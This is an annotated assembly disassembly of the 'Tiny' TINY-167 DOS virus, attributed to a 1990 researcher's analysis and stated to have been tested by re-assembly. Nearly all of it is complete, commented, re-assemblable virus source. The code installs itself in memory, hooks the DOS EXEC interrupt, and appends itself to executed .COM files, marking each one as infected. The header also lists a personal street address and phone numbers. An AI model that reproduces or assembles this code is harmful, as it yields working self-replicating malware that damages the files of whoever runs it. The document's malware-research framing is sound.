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page ,132
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name TINY167
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title The 'Tiny' virus, version TINY-167
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.radix 16
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; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
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; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º
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; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º
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; º º
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; º The 'Tiny' Virus, version TINY-167 º
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; º Disassembled by Vesselin Bontchev, July 1990 º
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; º º
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; º Copyright (c) Vesselin Bontchev 1989, 1990 º
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; º º
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; º This listing is only to be made available to virus researchers º
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; º or software writers on a need-to-know basis. º
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; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
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; The disassembly has been tested by re-assembly using MASM 5.0.
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code segment
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assume cs:code, ds:code
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org 100
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seg_60 equ 600
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v_len equ v_end-first4
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start:
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call v_entry ; Jump to virus code
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db 'M' ; Virus signature
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mov ax,4C00 ; Program terminate
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int 21
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; The original first 4 bytes of the infected file:
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first4 db 0EBh, 2, 90, 90
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v_entry:
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pop si ; Determine the start addres of the virus body
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add si,[si-2]
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; Save the original first 4 bytes of the infected file on the stack:
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push word ptr ds:[si-4]
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push word ptr ds:[si-2]
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push ax ; Save AX (to keep programs as DISKCOPY happy)
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mov di,seg_60+4 ; Point ES:DI at 0000:0604h (i.e, segment 60h)
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xor cx,cx ; ES := 0
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mov es,cx
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mov cl,v_len-2 ; CX := virus length
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lodsw ; Check if virus is present in memory
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scasw
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je run ; Just run the program if so
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; Virus not in memory. Install it there:
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dec di ; Adjust DI
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dec di
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stosw ; Store the first word of the virus body
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rep movsb ; Store the rest of the virus
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mov di,32*4 ; Old INT 21h handler will be moved to INT 32h
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mov cl,2 ; The vector is 2 words long
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mov ax,int_21-first4+seg_60 ; Offset
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; Move the INT 21h handler to INT 32h and
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; install int_21 as new INT 21h handler:
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vect_cpy:
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xchg ax,word ptr es:[di-(32-21)*4]
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stosw
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mov ax,es ; Segment
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loop vect_cpy ; Loop until done
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run:
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mov di,offset start ; Point DI at program start
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pop ax ; Restore AX
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pop word ptr ds:[di+2] ; Restore the original first 4 bytes
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pop word ptr ds:[di] ; of the file
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push ds ; ES := DS
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pop es
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jmp di ; Go
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int_21: ; New INT 21h handler
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cmp ax,4B00 ; EXEC function call?
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jne end_21 ; Exit if not
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push ax ; Save registers used
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push bx
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push cx
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push dx
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push di
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push ds
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push es
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push cs ; ES := CS
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pop es
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mov ax,3D02 ; Open the file for both reading and writting
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int 32
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jc end_exec ; Exit on error
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xchg bx,ax ; Save the file handle in BX
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mov ah,3F ; Read the first 4 bytes of the file
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mov cx,4 ; 4 bytes to read
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mov dx,seg_60 ; Put them in first4
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mov di,dx ; Save first4 address in DI
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push cs ; DS := CS
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pop ds
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int 32 ; Do it
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; Check whether the file is already infected or is an .EXE file.
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; The former contains the character `M' in its 3rd byte and
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; the latter contains it either in the 0th or in the 1st byte.
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push di ; Save DI
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mov al,'M' ; Look for `M'
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repne scasb
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pop di ; Restore DI
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je close ; Exit if file not suitable for infection
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mov ax,4202 ; Seek to the end of file
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xor cx,cx
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xor dx,dx
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int 32 ; Do it
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push ax ; Save file length
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mov dh,6 ; DX = 600h, i.e. point it at 0000:0600h
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mov cl,v_len ; Length of virus body
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mov ah,40 ; Append virus to file
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int 32 ; Do it
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mov ax,4200 ; Seek to the file beginning
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xor cx,cx
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xor dx,dx
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int 32 ; Do it
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mov dx,di ; Point DX at first4
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mov al,0E8 ; Near CALL opcode
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stosb ; Form the first instruction of the file
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pop ax ; Restore file length in AX
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inc ax
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stosw ; Form the CALL's opperand
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mov al,'M' ; Add a `M' character to mark the file
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stosb ; as infected
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mov cl,4 ; Overwrite the first 4 bytes of the file
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mov ah,40
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int 32 ; Do it
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close:
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mov ah,3E ; Close the file
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int 32
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end_exec:
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pop es ; Restore used registers
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pop ds
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pop di
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pop dx
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pop cx
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pop bx
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pop ax
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; Exit through the original INT 21h handler:
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end_21:
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jmp dword ptr cs:[32*4]
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v_end equ $ ; End of virus body
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code ends
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end start
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